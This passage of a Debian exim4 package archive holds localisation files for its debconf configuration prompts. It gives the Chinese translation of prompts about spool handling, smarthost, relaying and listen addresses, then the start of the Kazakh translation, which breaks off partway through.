2007-07-18 08:29+0200\n" "PO-Revision-Date: 2007-06-12 00:36-0500\n" "Last-Translator: Ming Hua \n" "Language-Team: Debian Chinese [GB] \n" "Language: \n" "MIME-Version: 1.0\n" "Content-Type: text/plain; charset=UTF-8\n" "Content-Transfer-Encoding: 8bit\n" #. Type: boolean #. Description #: ../exim4-base.templates:1001 msgid "Remove undelivered messages in spool directory?" msgstr "删除缓冲目录中未投递的信件吗?" #. Type: boolean #. Description #: ../exim4-base.templates:1001 msgid "" "There are e-mail messages in the Exim spool directory /var/spool/exim4/" "input/ which have not yet been delivered. Removing Exim will cause them to " "remain undelivered until Exim is re-installed." msgstr "" "有些存放在 Exim 的缓冲目录 /var/spool/exim4/input/ 中的 e-mail 信件尚未被投" "递。如果您卸载 Exim,则直至 Exim 被重新安装为止,它们将一直保持未被投递的状" "态。" #. Type: boolean #. Description #: ../exim4-base.templates:1001 msgid "" "If this option is not chosen, the spool directory is kept, allowing the " "messages in the queue to be delivered at a later date after Exim is re-" "installed." msgstr "" "如果不做这一选择,缓冲目录将被保留,这样日后重新安装 Exim 后,这些现在仍在队" "列中的信件将可被投递。" #. Type: error #. Description #: ../exim4-base.templates:2001 ../exim4-daemon-heavy.templates:1001 #: ../exim4-daemon-light.templates:1001 ../exim4.templates:1001 msgid "Reconfigure exim4-config instead of this package" msgstr "重新配置 exim4-config 而非本软件包" #. Type: error #. Description #: ../exim4-base.templates:2001 ../exim4-daemon-heavy.templates:1001 #: ../exim4-daemon-light.templates:1001 ../exim4.templates:1001 msgid "" "Exim4 has its configuration factored out into a dedicated package, exim4-" "config. To reconfigure Exim4, use 'dpkg-reconfigure exim4-config'." msgstr "" "Exim4 的设置被分出来放到了专用软件包 exim4-config 中。要重新设置 Exim4,请使" "用“dpkg-reconfigure exim4-config”。" #. Type: select #. Choices #. Translators beware! the following six strings form a single #. Choices menu. - Every one of these strings has to fit in a standard #. 80 characters console, as the fancy screen setup takes up some space #. try to keep below ~71 characters. #. DO NOT USE commas (,) in Choices translations otherwise #. this will break the choices shown to users #: ../exim4-config.templates:1001 msgid "internet site; mail is sent and received directly using SMTP" msgstr "互联网站;直接通过 SMTP 发送或接收信件" #. Type: select #. Choices #. Translators beware! the following six strings form a single #. Choices menu. - Every one of these strings has to fit in a standard #. 80 characters console, as the fancy screen setup takes up some space #. try to keep below ~71 characters. #. DO NOT USE commas (,) in Choices translations otherwise #. this will break the choices shown to users #: ../exim4-config.templates:1001 msgid "mail sent by smarthost; received via SMTP or fetchmail" msgstr "用 smarthost 发信;通过 SMTP 或 fetchmail 接收信件" #. Type: select #. Choices #. Translators beware! the following six strings form a single #. Choices menu. - Every one of these strings has to fit in a standard #. 80 characters console, as the fancy screen setup takes up some space #. try to keep below ~71 characters. #. DO NOT USE commas (,) in Choices translations otherwise #. this will break the choices shown to users #: ../exim4-config.templates:1001 msgid "mail sent by smarthost; no local mail" msgstr "用 smarthost 发信;无本地信件" #. Type: select #. Choices #. Translators beware! the following six strings form a single #. Choices menu. - Every one of these strings has to fit in a standard #. 80 characters console, as the fancy screen setup takes up some space #. try to keep below ~71 characters. #. DO NOT USE commas (,) in Choices translations otherwise #. this will break the choices shown to users #: ../exim4-config.templates:1001 msgid "local delivery only; not on a network" msgstr "仅在本地投递信件;无网络连接" #. Type: select #. Choices #. Translators beware! the following six strings form a single #. Choices menu. - Every one of these strings has to fit in a standard #. 80 characters console, as the fancy screen setup takes up some space #. try to keep below ~71 characters. #. DO NOT USE commas (,) in Choices translations otherwise #. this will break the choices shown to users #: ../exim4-config.templates:1001 msgid "no configuration at this time" msgstr "现在不进行配置" #. Type: select #. Description #: ../exim4-config.templates:1002 msgid "General type of mail configuration:" msgstr "邮件系统设置的常见类型:" #. Type: select #. Description #: ../exim4-config.templates:1002 msgid "" "Please select the mail server configuration type that best meets your needs." msgstr "请选择一个最适合您需要的邮件服务器设置类型。" #. Type: select #. Description #: ../exim4-config.templates:1002 msgid "" "Systems with dynamic IP addresses, including dialup systems, should " "generally be configured to send outgoing mail to another machine, called a " "'smarthost' for delivery because many receiving systems on the Internet " "block incoming mail from dynamic IP addresses as spam protection." msgstr "" "使用动态 IP 地址的系统,包括拨号系统,通常应该设置为将寄出的信件送到另一台主" "机,也就是“smarthost”上来完成投递工作。这是因为很多 Internet 上的邮件接收系统" "为了防止垃圾邮件,会封锁从动态 IP 地址发来的邮件。" #. Type: select #. Description #: ../exim4-config.templates:1002 msgid "" "A system with a dynamic IP address can receive its own mail, or local " "delivery can be disabled entirely (except mail for root and postmaster)." msgstr "" "使用动态 IP 地址的系统可以接受自己系统的内部信件,也可以完全不投递任何本地信" "件 (root 和 postmaster 的信件除外)。" #. Type: boolean #. Description #: ../exim4-config.templates:2001 msgid "Really leave the mail system unconfigured?" msgstr "您真的不配置邮件系统吗?" #. Type: boolean #. Description #: ../exim4-config.templates:2001 msgid "" "Until the mail system is configured, it will be broken and cannot be used. " "Configuration at a later time can be done either by hand or by running 'dpkg-" "reconfigure exim4-config' as root." msgstr "" "在完成邮件系统的配置之前,它将处于故障状态并不可使用。您可以日后再手动配置," "或者以 root 身份执行“dpkg-reconfigure exim4-config”进行配置。" #. Type: string #. Description #: ../exim4-config.templates:3001 msgid "System mail name:" msgstr "系统邮件名称:" #. Type: string #. Description #: ../exim4-config.templates:3001 msgid "" "The 'mail name' is the domain name used to 'qualify' mail addresses without " "a domain name." msgstr "“邮件名称”是一个域名,用于“识别”(qualify) 不包含域名的邮件地址。" #. Type: string #. Description #: ../exim4-config.templates:3001 msgid "" "This name will also be used by other programs. It should be the single, " "fully qualified domain name (FQDN)." msgstr "这个名称也被其它程序所使用。它应该是单一的完整域名 (FQDN)。" #. Type: string #. Description #: ../exim4-config.templates:3001 msgid "" "Thus, if a mail address on the local host is foo@example.org, the correct " "value for this option would be example.org." msgstr "" "因此,如果本地主机的某个邮件地址是 foo@example.org,则这一项的正确设置就应该" "是 example.org。" #. Type: string #. Description #: ../exim4-config.templates:3001 msgid "" "This name won't appear on From: lines of outgoing messages if rewriting is " "enabled." msgstr "" "如果开启了重写 (rewrite) 功能,此名称将不会出现在寄出信件的“From:”行中。" #. Type: string #. Description #: ../exim4-config.templates:4001 msgid "Other destinations for which mail is accepted:" msgstr "其它可接收邮件的目的地址:" #. Type: string #. Description #: ../exim4-config.templates:4001 msgid "" "Please enter a semicolon-separated list of recipient domains for which this " "machine should consider itself the final destination. These domains are " "commonly called 'local domains'. The local hostname (${fqdn}) and " "'localhost' are always added to the list given here." msgstr "" "请输入被此主机认为是以其自身为最终目的地址的域名列表,用半角冒号分隔。这些域" "名通常被叫作“本地域名”。本地主机名 (${fqdn}) 和“localhost”会被加进这里给出的" "域名列表里。" #. Type: string #. Description #: ../exim4-config.templates:4001 msgid "" "By default all local domains will be treated identically. If both a.example " "and b.example are local domains, acc@a.example and acc@b.example will be " "delivered to the same final destination. If different domain names should be " "treated differently, it is necessary to edit the config files afterwards." msgstr "" "默认情况下,所有的域名都会被相同对待。如果 a.example 和 b.example 都是本地域" "名,寄给 acc@a.example 和 acc@b.example 的信件将会被投递到同一个最终目的地。" "如果不同的域名应被区别对待,您需要在稍后编辑配置文件。" #. Type: string #. Description #: ../exim4-config.templates:5001 msgid "Domains to relay mail for:" msgstr "为下列域名进行邮件中转 (relay):" #. Type: string #. Description #: ../exim4-config.templates:5001 msgid "" "Please enter a semicolon-separated list of recipient domains for which this " "system will relay mail, for example as a fallback MX or mail gateway. This " "means that this system will accept mail for these domains from anywhere on " "the Internet and deliver them according to local delivery rules." msgstr "" "请输入一个此系统会进行邮件中转的域名列表,用半角冒号分隔。例如备用 MX 或邮件" "网关就需要此项设置。这意味着此系统会接收从 Internet 上任何地方发往这些域名的" "邮件,并按本地投递规则投递它们。" #. Type: string #. Description #: ../exim4-config.templates:5001 msgid "Do not mention local domains here. Wildcards may be used." msgstr "请不要在这里提及本地域名。可以使用通配符。" #. Type: string #. Description #: ../exim4-config.templates:6001 msgid "Machines to relay mail for:" msgstr "为下列主机进行邮件中转 (relay):" #. Type: string #. Description #: ../exim4-config.templates:6001 msgid "" "Please enter a semicolon-separated list of IP address ranges for which this " "system will unconditionally relay mail, functioning as a smarthost." msgstr "" "请输入一个 IP 地址范围列表,用半角冒号分隔。本系统将无条件为这些地址中转邮" "件,起到 smarthost 的作用。" #. Type: string #. Description #: ../exim4-config.templates:6001 msgid "" "You should use the standard address/prefix format (e.g. 194.222.242.0/24 or " "5f03:1200:836f::/48)." msgstr "" "您应该使用标准的“地址/长度”格式 (例如 194.222.242.0/24 或 " "5f03:1200:836f::/48)。" #. Type: string #. Description #: ../exim4-config.templates:6001 msgid "" "If this system should not be a smarthost for any other host, leave this list " "blank." msgstr "如果此系统不应成为任何其它主机的 smarthost,请将此列表置空。" #. Type: string #. Description #: ../exim4-config.templates:7001 msgid "Visible domain name for local users:" msgstr "本地用户的可见域名:" #. Type: string #. Description #: ../exim4-config.templates:7001 msgid "" "The option to hide the local mail name in outgoing mail was enabled. It is " "therefore necessary to specify the domain name this system should use for " "the domain part of local users' sender addresses." msgstr "" "您启用了在寄出的信件里隐藏本地邮件名称的选项。因此您需要指明一个域名,作为此" "系统为本地用户寄信时发信者地址的域名部分。" #. Type: string #. Description #: ../exim4-config.templates:8001 msgid "IP address or host name of the outgoing smarthost:" msgstr "寄信使用的 smarthost 的 IP 地址或主机名:" #. Type: string #. Description #: ../exim4-config.templates:8001 msgid "" "Please enter the IP address or the host name of a mail server that this " "system should use as outgoing smarthost. If the smarthost only accepts your " "mail on a port different from TCP/25, append two colons and the port number " "(for example smarthost.example::587 or 192.168.254.254::2525). Colons in " "IPv6 addresses need to be doubled." msgstr "" "请输入此系统用作寄出信件 smarthost 的邮件服务器的 IP 地址或主机名。如果该 " "smarthost 仅接受您从非 TCP/25 端口所发的信件,请在后面加上两个冒号和端口号 " "(例如 smarthost.example::587 或 192.168.254.254::2525)。IPv6 地址需要使用双冒" "号。" # I've added a trailing '/' to the path in the translation. (Ming) #. Type: string #. Description #: ../exim4-config.templates:8001 msgid "" "If the smarthost requires authentication, please refer to the Debian-" "specific README files in /usr/share/doc/exim4-base for notes about setting " "up SMTP authentication." msgstr "" "如果该 smarthost 要求身份验证,请参阅 /usr/share/doc/exim4-base/ 中 Debian 特" "有的 README 文件中关于设置 SMTP 验证的注意事项。" #. Type: string #. Description #: ../exim4-config.templates:9001 msgid "Root and postmaster mail recipient:" msgstr "Root 和 postmaster 邮件的接收者:" #. Type: string #. Description #: ../exim4-config.templates:9001 msgid "" "Mail for the 'postmaster', 'root', and other system accounts needs to be " "redirected to the user account of the actual system administrator." msgstr "" "寄给“postmaster”、“root”以及其它系统帐户的邮件应被转发到实际系统管理员的普通" "用户帐户下。" #. Type: string #. Description #: ../exim4-config.templates:9001 msgid "" "If this value is left empty, such mail will be saved in /var/mail/mail, " "which is not recommended." msgstr "如果此项被置空,这些邮件将被保存在 /var/mail/mail。但是不推荐这样做。" #. Type: string #. Description #: ../exim4-config.templates:9001 msgid "" "Note that postmaster's mail should be read on the system to which it is " "directed, rather than being forwarded elsewhere, so (at least one of) the " "users listed here should not redirect their mail off this machine. A 'real-' " "prefix can be used to force local delivery." msgstr "" "注意:postmaster,即邮件管理员的邮件应该在其目的主机上读取,而不应被转发到别" "处。因此这里列出的用户中至少要有一人不把其邮件重定向到其他机器。您可以使" "用“real-”前缀来强制进行本地投递。" #. Type: string #. Description #: ../exim4-config.templates:9001 msgid "Multiple user names need to be separated by spaces." msgstr "多个用户名需用半角空格分隔。" #. Type: string #. Description #: ../exim4-config.templates:10001 msgid "IP-addresses to listen on for incoming SMTP connections:" msgstr "要监听入站 SMTP 连接的 IP 地址:" #. Type: string #. Description #: ../exim4-config.templates:10001 msgid "" "Please enter a semicolon-separated list of IP addresses. The Exim SMTP " "listener daemon will listen on all IP addresses listed here." msgstr "" "请输入一个由半角冒号分隔的 IP 地址列表。Exim 的监听 SMTP 的守护进程将会监听这" "里列出的所有 IP 地址。" #. Type: string #. Description #: ../exim4-config.templates:10001 msgid "" "An empty value will cause Exim to listen for connections on all available " "network interfaces." msgstr "空白值将使 Exim 监听所有网络接口的 SMTP 入站连接。" #. Type: string #. Description #: ../exim4-config.templates:10001 msgid "" "If this system only receives mail directly from local services (and not from " "other hosts), it is suggested to prohibit external connections to the local " "Exim daemon. Such services include e-mail programs (MUAs) which talk to " "localhost only as well as fetchmail. External connections are impossible " "when 127.0.0.1 is entered here, as this will disable listening on public " "network interfaces." msgstr "" "如果此系统只通过类似 fetchmail 的本地服务来收取邮件,或者您使用的邮件程序 " "(MUA) 只跟 localhost 交互 (而非和其它主机),那么建议您阻止外部连接访问本地 " "Exim。具体做法是将此选项设定为 127.0.0.1。这样就禁用了对公共网络接口的监听。" #. Type: boolean #. Description #: ../exim4-config.templates:11001 msgid "Keep number of DNS-queries minimal (Dial-on-Demand)?" msgstr "保持最小 DNS 查询量吗 (按需拔号,Dial-on-Demand)?" #. Type: boolean #. Description #: ../exim4-config.templates:11001 msgid "" "In normal mode of operation Exim does DNS lookups at startup, and when " "receiving or delivering messages. This is for logging purposes and allows " "keeping down the number of hard-coded values in the configuration." msgstr "" "当以普通模式运行时,Exim 会在启动、接收信件或投递信件的时候进行 DNS 查询。这" "样做便于记录日志,并使设置文件中尽可能少地出现硬编码值。" #. Type: boolean #. Description #: ../exim4-config.templates:11001 msgid "" "If this system does not have a DNS full service resolver available at all " "times (for example if its Internet access is a dial-up line using dial-on-" "demand), this might have unwanted consequences. For example, starting up " "Exim or running the queue (even with no messages waiting) might trigger a " "costly dial-up-event." msgstr "" "如果此系统并非随时都有 DNS 解析服务 (例如系统是通过拨号线路连接 Internet,并" "且是按需拨号),这样做可能会导致您不希望看到的结果。比如说,启动 Exim 或者处理" "信件队列 (哪怕队列里面并没有信件等待投递) 都可能触发一个昂贵的拨号事件。" #. Type: boolean #. Description #: ../exim4-config.templates:11001 msgid "" "This option should be selected if this system is using Dial-on-Demand. If it " "has always-on Internet access, this option should be disabled." msgstr "" "如果系统使用按需拨号,应选择此选项。如果系统一直有 Internet 连接,则不应选择" "此选项。" #. Type: title #. Description #: ../exim4-config.templates:12001 msgid "Mail Server configuration" msgstr "邮件服务器设置" #. Type: boolean #. Description #: ../exim4-config.templates:13001 msgid "Split configuration into small files?" msgstr "将设置文件分拆成小文件吗?" #. Type: boolean #. Description #: ../exim4-config.templates:13001 msgid "" "The Debian exim4 packages can either use 'unsplit configuration', a single " "monolithic file (/etc/exim4/exim4.conf.template) or 'split configuration', " "where the actual Exim configuration files are built from about 50 smaller " "files in /etc/exim4/conf.d/." msgstr "" "Debian 的 exim4 软件包既可以使用“未分拆设置”,即单个设置文件 (/etc/exim4/" "exim4.conf.template);也可以使用“分拆设置”,即通过 /etc/exim4/conf.d/ 下的大" "约 50 个小文件来产生最终的设置文件。" #. Type: boolean #. Description #: ../exim4-config.templates:13001 msgid "" "Unsplit configuration is better suited for large modifications and is " "generally more stable, whereas split configuration offers a comfortable way " "to make smaller modifications but is more fragile and might break if " "modified carelessly." msgstr "" "未分拆设置更适合对设置进行大量更动,一般而言也较稳定。分拆设置则提供了一种舒" "服地进行少量修改的方法,但也会比较脆弱,如果修改配置内容时一不小心就会导致故" "障。" # I've added a trailing '/' to the path in the translation. (Ming) #. Type: boolean #. Description #: ../exim4-config.templates:13001 msgid "" "A more detailed discussion of split and unsplit configuration can be found " "in the Debian-specific README files in /usr/share/doc/exim4-base." msgstr "" "关于分拆设置和未分拆设置的更详细的讨论可参见 /usr/share/doc/exim4-base/ 中 " "Debian 特有的 README 文件。" #. Type: boolean #. Description #: ../exim4-config.templates:14001 msgid "Hide local mail name in outgoing mail?" msgstr "要在寄出的邮件中隐藏本地邮件名称吗?" #. Type: boolean #. Description #: ../exim4-config.templates:14001 msgid "" "The headers of outgoing mail can be rewritten to make it appear to have been " "generated on a different system. If this option is chosen, '${mailname}', " "'localhost' and '${dc_other_hostnames}' in From, Reply-To, Sender and Return-" "Path are rewritten." msgstr "" "寄出邮件的信头可以被重写,以使邮件看起来是在别的系统中生成。如果做这一选择," "信头中 From、Reply-To、Sender 和 Return-Path 里" "的“${mailname}”、“localhost”和“${dc_other_hostnames}”将被重写。" #. Type: select #. Choices #: ../exim4-config.templates:15001 msgid "mbox format in /var/mail/" msgstr "/var/mail/ 中的 mbox 格式" #. Type: select #. Choices #: ../exim4-config.templates:15001 msgid "Maildir format in home directory" msgstr "家目录中的 Maildir 格式" #. Type: select #. Description #: ../exim4-config.templates:15002 msgid "Delivery method for local mail:" msgstr "本地信件的投递方式:" #. Type: select #. Description #: ../exim4-config.templates:15002 msgid "" "Exim is able to store locally delivered email in different formats. The most " "commonly used ones are mbox and Maildir. mbox uses a single file for the " "complete mail folder stored in /var/mail/. With Maildir format every single " "message is stored in a separate file in ~/Maildir/." msgstr "" "Exim 可以将投递到本地的信件以多种格式储存。最常用的两种储存格式是 mbox 和 " "Maildir。使用 mbox 格式时,整个邮件夹一起储存为 /var/mail/ 中的一个文件。使" "用 Maildir 格式时,每一封信件都分别储存为一个 ~/Maildir/ 中的文件。" #. Type: select #. Description #: ../exim4-config.templates:15002 msgid "" "Please note that most mail tools in Debian expect the local delivery method " "to be mbox in their default." msgstr "" "请注意,Debian 中的大多数邮件工具的默认设置都假定本地信件以 mbox 格式投递。" debian/po/kk.po0000644000000000000000000006642412027557533010576 0ustar # Dauren Sarsenov , 2009 # msgid "" msgstr "" "Project-Id-Version: PACKAGE VERSION\n" "Report-Msgid-Bugs-To: pkg-exim4-maintainers@lists.alioth.debian.org\n" "POT-Creation-Date: 2007-07-18 08:29+0200\n" "PO-Revision-Date: 2009-03-24 14:49+0600\n" "Last-Translator: Dauren Sarsenov \n" "Language-Team: Kazakh \n" "Language: kk\n" "MIME-Version: 1.0\n" "Content-Type: text/plain; charset=utf-8\n" "Content-Transfer-Encoding: 8bit\n" #. Type: boolean #. Description #: ../exim4-base.templates:1001 msgid "Remove undelivered messages in spool directory?" msgstr "Спул бумасындағы жеткізілмеген хабардың жойылуын қалайсыз ба?" #. Type: boolean #. Description #: ../exim4-base.templates:1001 msgid "" "There are e-mail messages in the Exim spool directory /var/spool/exim4/" "input/ which have not yet been delivered. Removing Exim will cause them to " "remain undelivered until Exim is re-installed." msgstr "" "Exim спул бумасында (/var/spool/exim4/input/) әлі жеткізілмеген хабарлар " "бар. Exim жойылуы олардың жеткізілмеген күйде қалуына әкеледі." #. Type: boolean #. Description #: ../exim4-base.templates:1001 msgid "" "If this option is not chosen, the spool directory is kept, allowing the " "messages in the queue to be delivered at a later date after Exim is re-" "installed." msgstr "" "Бұл опция таңдалмаса, спул бумасы сақталады. Кейін Exim қайта орнатылғанда, " "кезекте тұрған хабарлар жеткізіле алады." #. Type: error #. Description #: ../exim4-base.templates:2001 ../exim4-daemon-heavy.templates:1001 #: ../exim4-daemon-light.templates:1001 ../exim4.templates:1001 msgid "Reconfigure exim4-config instead of this package" msgstr "Бұл дестенің орнына exim4-config баптау керек" #. Type: error #. Description #: ../exim4-base.templates:2001 ../exim4-daemon-heavy.templates:1001 #: ../exim4-daemon-light.templates:1001 ../exim4.templates:1001 msgid "" "Exim4 has its configuration factored out into a dedicated package, exim4-" "config. To reconfigure Exim4, use 'dpkg-reconfigure exim4-config'." msgstr "" "Exim4 баптауы exim4-config бөлек дестесіне шығарылған. Exim4 баптау үшін " "'dpkg-reconfigure exim4-config' пайдалану керек." #. Type: select #. Choices #. Translators beware! the following six strings form a single #. Choices menu. - Every one of these strings has to fit in a standard #. 80 characters console, as the fancy screen setup takes up some space #. try to keep below ~71 characters. #. DO NOT USE commas (,) in Choices translations otherwise #. this will break the choices shown to users #: ../exim4-config.templates:1001 msgid "internet site; mail is sent and received directly using SMTP" msgstr "интернет сайт; пошта SMTP арқылы жіберіліеді әрі қабылданады" #. Type: select #. Choices #. Translators beware! the following six strings form a single #. Choices menu. - Every one of these strings has to fit in a standard #. 80 characters console, as the fancy screen setup takes up some space #. try to keep below ~71 characters. #. DO NOT USE commas (,) in Choices translations otherwise #. this will break the choices shown to users #: ../exim4-config.templates:1001 msgid "mail sent by smarthost; received via SMTP or fetchmail" msgstr "пошта smarthost арқылы жіберіліп; SMTP не fetchmail арқылы қабылданады" #. Type: select #. Choices #. Translators beware! the following six strings form a single #. Choices menu. - Every one of these strings has to fit in a standard #. 80 characters console, as the fancy screen setup takes up some space #. try to keep below ~71 characters. #. DO NOT USE commas (,) in Choices translations otherwise #. this will break the choices shown to users #: ../exim4-config.templates:1001 msgid "mail sent by smarthost; no local mail" msgstr "пошта smarthost арқылы жіберіледі; жергілікті поштасыз" #. Type: select #. Choices #. Translators beware! the following six strings form a single #. Choices menu. - Every one of these strings has to fit in a standard #. 80 characters console, as the fancy screen setup takes up some space #. try to keep below ~71 characters. #. DO NOT USE commas (,) in Choices translations otherwise #. this will break the choices shown to users #: ../exim4-config.templates:1001 msgid "local delivery only; not on a network" msgstr "поштаны жергілікті жеткізу; желісіз" #. Type: select #. Choices #. Translators beware! the following six strings form a single #. Choices menu. - Every one of these strings has to fit in a standard #. 80 characters console, as the fancy screen setup takes up some space #. try to keep below ~71 characters. #. DO NOT USE commas (,) in Choices translations otherwise #. this will break the choices shown to users #: ../exim4-config.templates:1001 msgid "no configuration at this time" msgstr "кейін баптау" #. Type: select #. Description #: ../exim4-config.templates:1002 msgid "General type of mail configuration:" msgstr "Пошта баптауының жалпы түрі:" #. Type: select #. Description #: ../exim4-config.templates:1002 msgid "" "Please select the mail server configuration type that best meets your needs." msgstr "Өзіңізге қажет пошта серверінің баптауының түрін таңдаңыз." #. Type: select #. Description #: ../exim4-config.templates:1002 msgid "" "Systems with dynamic IP addresses, including dialup systems, should " "generally be configured to send outgoing mail to another machine, called a " "'smarthost' for delivery because many receiving systems on the Internet " "block incoming mail from dynamic IP addresses as spam protection." msgstr "" "Динамикалық IP адресі бар жүйелер, оның ішінде қашықтан қатынау жүйелері, " "әдетте, шығыс поштаны smarthost машинасына жіберуі керек, себебі динамикалық " "адрестен келген пошта хабары интернеттегі қабылдаушы жүйелердің спамға қарсы " "құралдарымен бөгеледі." #. Type: select #. Description #: ../exim4-config.templates:1002 msgid "" "A system with a dynamic IP address can receive its own mail, or local " "delivery can be disabled entirely (except mail for root and postmaster)." msgstr "" "Динамикалық IP адресі бар жүйелер өзінің поштасын қабылдай алады, не " "жергілікті жеткізуді толығымен (root және postmaster екеуінен басқасы) " "өшіруге болады." #. Type: boolean #. Description #: ../exim4-config.templates:2001 msgid "Really leave the mail system unconfigured?" msgstr "Сіз шынымен пошта жүйесін баптаусыз қалдыруды қалайсыз ба?" #. Type: boolean #. Description #: ../exim4-config.templates:2001 msgid "" "Until the mail system is configured, it will be broken and cannot be used. " "Configuration at a later time can be done either by hand or by running 'dpkg-" "reconfigure exim4-config' as root." msgstr "" "Пошта жүйесін баптамай, оны қолдануға болмайды. Баптауды кейініректе қолдан " "не root атынан 'dpkg-reconfigure exim4-config' деп орындауға болады." #. Type: string #. Description #: ../exim4-config.templates:3001 msgid "System mail name:" msgstr "Жүйелік пошта аты:" #. Type: string #. Description #: ../exim4-config.templates:3001 msgid "" "The 'mail name' is the domain name used to 'qualify' mail addresses without " "a domain name." msgstr "" "'Пошта аты' домені көрсетілмеген адрестерді толықтыру үшін қолданылады." #. Type: string #. Description #: ../exim4-config.templates:3001 msgid "" "This name will also be used by other programs. It should be the single, " "fully qualified domain name (FQDN)." msgstr "" "Поштаның атын басқа бағдарламалар да қолданылады. Ол толығымен анықталған " "домен атының (FQDN) талаптарына сай болуы керек." #. Type: string #. Description #: ../exim4-config.templates:3001 msgid "" "Thus, if a mail address on the local host is foo@example.org, the correct " "value for this option would be example.org." msgstr "" "Мысалы, жергілікті машинаның пошталық адресі foo@example.org болса, бұл " "опцияның дұрыс мәні example.org болуы керек." #. Type: string #. Description #: ../exim4-config.templates:3001 msgid "" "This name won't appear on From: lines of outgoing messages if rewriting is " "enabled." msgstr "Бұл ат қайта жазу қосылған жағдайда, 'Кімнен:' жолында көрсетілмейді." #. Type: string #. Description #: ../exim4-config.templates:4001 msgid "Other destinations for which mail is accepted:" msgstr "Пошта қабылданатын басқа орындар:" #. Type: string #. Description #: ../exim4-config.templates:4001 msgid "" "Please enter a semicolon-separated list of recipient domains for which this " "machine should consider itself the final destination. These domains are " "commonly called 'local domains'. The local hostname (${fqdn}) and " "'localhost' are always added to the list given here." msgstr "" "Осы машина қай домендер үшін өзін түпкі бағыт ретінде санайтындығын " "көрсетіңіз. Тізім үтір-нүктемен ажыратылады. Бұл домендер әдетте 'жергілікті " "домендер' деп аталады. Жергілікті хост аты ${fqdn}) мен 'localhost' бұл " "тізімге әрқашан қосылады." #. Type: string #. Description #: ../exim4-config.templates:4001 msgid "" "By default all local domains will be treated identically. If both a.example " "and b.example are local domains, acc@a.example and acc@b.example will be " "delivered to the same final destination. If different domain names should be " "treated differently, it is necessary to edit the config files afterwards." msgstr "" "Әдетте, барлық жергілікті домендер бірге қарастырылады. Егер a.example мен b." "example жергілікті домен болса, acc@a.example мен acc@b.example адрестері " "бір түпкі бағытқа апарады. Егер әр түрлі домен аттары әр түрлі қарастырылуы " "керек болса, баптау файлдарын кейінірек түзетіңіз." #. Type: string #. Description #: ../exim4-config.templates:5001 msgid "Domains to relay mail for:" msgstr "Пошта релейтуді қолданатын домендер:" #. Type: string #. Description #: ../exim4-config.templates:5001 msgid "" "Please enter a semicolon-separated list of recipient domains for which this " "system will relay mail, for example as a fallback MX or mail gateway. This " "means that this system will accept mail for these domains from anywhere on " "the Internet and deliver them according to local delivery rules." msgstr "" "Осы жүйе қай домендер үшін пошта релейтуді қолданатындығын көрсетіңіз. Тізім " "үтір-нүктемен ажыратылады. Пошта релейту MX не пошта шлюзі үшін қолданылады. " "Яғни осы жүйе көрсетілген домендердің хабарын интернеттің кез келген жерінен " "қабылдап, жергілкті жеткізу ережелеріне сәйкес жеткізетін болады." #. Type: string #. Description #: ../exim4-config.templates:5001 msgid "Do not mention local domains here. Wildcards may be used." msgstr "Жергілікті домендерді көрсетпеңіз. Арнайы таңбалар қолдануға болады." #. Type: string #. Description #: ../exim4-config.templates:6001 msgid "Machines to relay mail for:" msgstr "Пошта релейтуді қолданатын машиналар:" #. Type: string #. Description #: ../exim4-config.templates:6001 msgid "" "Please enter a semicolon-separated list of IP address ranges for which this " "system will unconditionally relay mail, functioning as a smarthost." msgstr "" "Осы жүйе қай машиналар үшін поштаны шартсыз релейтуді қолданатындығын, яғни " "smarthost ретінде жұмыс істейтіндігін көрсетіңіз. Тізім үтір-нүктемен " "ажыратылған IP адрестер аралығынан тұрады." #. Type: string #. Description #: ../exim4-config.templates:6001 msgid "" "You should use the standard address/prefix format (e.g. 194.222.242.0/24 or " "5f03:1200:836f::/48)." msgstr "" "Кәдімгі адрес/префикс түрінде жазыңыз (мысалы, 194.222.242.0/24 немесе " "5f03:1200:836f::/48)." #. Type: string #. Description #: ../exim4-config.templates:6001 msgid "" "If this system should not be a smarthost for any other host, leave this list " "blank." msgstr "" "Егер бұл жүйе ешбір хост үшін smarthost болып табылмаса, жолды бос " "қалдырыңыз." #. Type: string #. Description #: ../exim4-config.templates:7001 msgid "Visible domain name for local users:" msgstr "Жергілікті пайдаланушылардың көрінетін домен аты:" #. Type: string #. Description #: ../exim4-config.templates:7001 msgid "" "The option to hide the local mail name in outgoing mail was enabled. It is " "therefore necessary to specify the domain name this system should use for " "the domain part of local users' sender addresses." msgstr "" "Шығыс поштаның хабарында жергілікті пошта атын жасыру опциясы таңдалды. " "Сондықтан осы жүйенің жергілікті пайдаланушыларының жіберуші адресінің " "домендік бөлігінде қолданылатын домен атын көрсету керек." #. Type: string #. Description #: ../exim4-config.templates:8001 msgid "IP address or host name of the outgoing smarthost:" msgstr "Шығыс smarthost IP адресі не хост аты:" #. Type: string #. Description #: ../exim4-config.templates:8001 msgid "" "Please enter the IP address or the host name of a mail server that this " "system should use as outgoing smarthost. If the smarthost only accepts your " "mail on a port different from TCP/25, append two colons and the port number " "(for example smarthost.example::587 or 192.168.254.254::2525). Colons in " "IPv6 addresses need to be doubled." msgstr "" "Осы жүйе smarthost ретінде пайдаланатын пошта серверінің IP адресін не хост " "атын енгізіңіз. Егер smarthost сіздің поштаңызды қалыпты емес портта (TCP/25 " "емес) қабылдаса, екі қос нүкте қойып, порттың нөмірін жазыңыз (мысалы " "smarthost.example::587 немесе 192.168.254.254::2525). IPv6 түріндегі " "адрестің қос нүктелерін тағы екі еселеу қажет." #. Type: string #. Description #: ../exim4-config.templates:8001 msgid "" "If the smarthost requires authentication, please refer to the Debian-" "specific README files in /usr/share/doc/exim4-base for notes about setting " "up SMTP authentication." msgstr "" "Егер smarthost аутентификацияны талап етсе, Debian жүйесіне қатысты SMTP " "аутентификациясы туралы /usr/share/doc/exim4-base ішіндегі README файлдан " "оқыңыз." #. Type: string #. Description #: ../exim4-config.templates:9001 msgid "Root and postmaster mail recipient:" msgstr "Root және postmaster пошта қабылдаушысы: " #. Type: string #. Description #: ../exim4-config.templates:9001 msgid "" "Mail for the 'postmaster', 'root', and other system accounts needs to be " "redirected to the user account of the actual system administrator." msgstr "" "'Postmaster', 'root' және өзге де жүйелік тіркелгілері жүйелік " "администратордың пайдаланушылық тіркелгісіне бағытталуы тиіс." #. Type: string #. Description #: ../exim4-config.templates:9001 msgid "" "If this value is left empty, such mail will be saved in /var/mail/mail, " "which is not recommended." msgstr "" "Егер бұл мән көрсетілмесе, мұндай пошта /var/mail/mail ішінде сақталады, ал " "бұл өз кезегінде ұсынылмайды." #. Type: string #. Description #: ../exim4-config.templates:9001 msgid "" "Note that postmaster's mail should be read on the system to which it is " "directed, rather 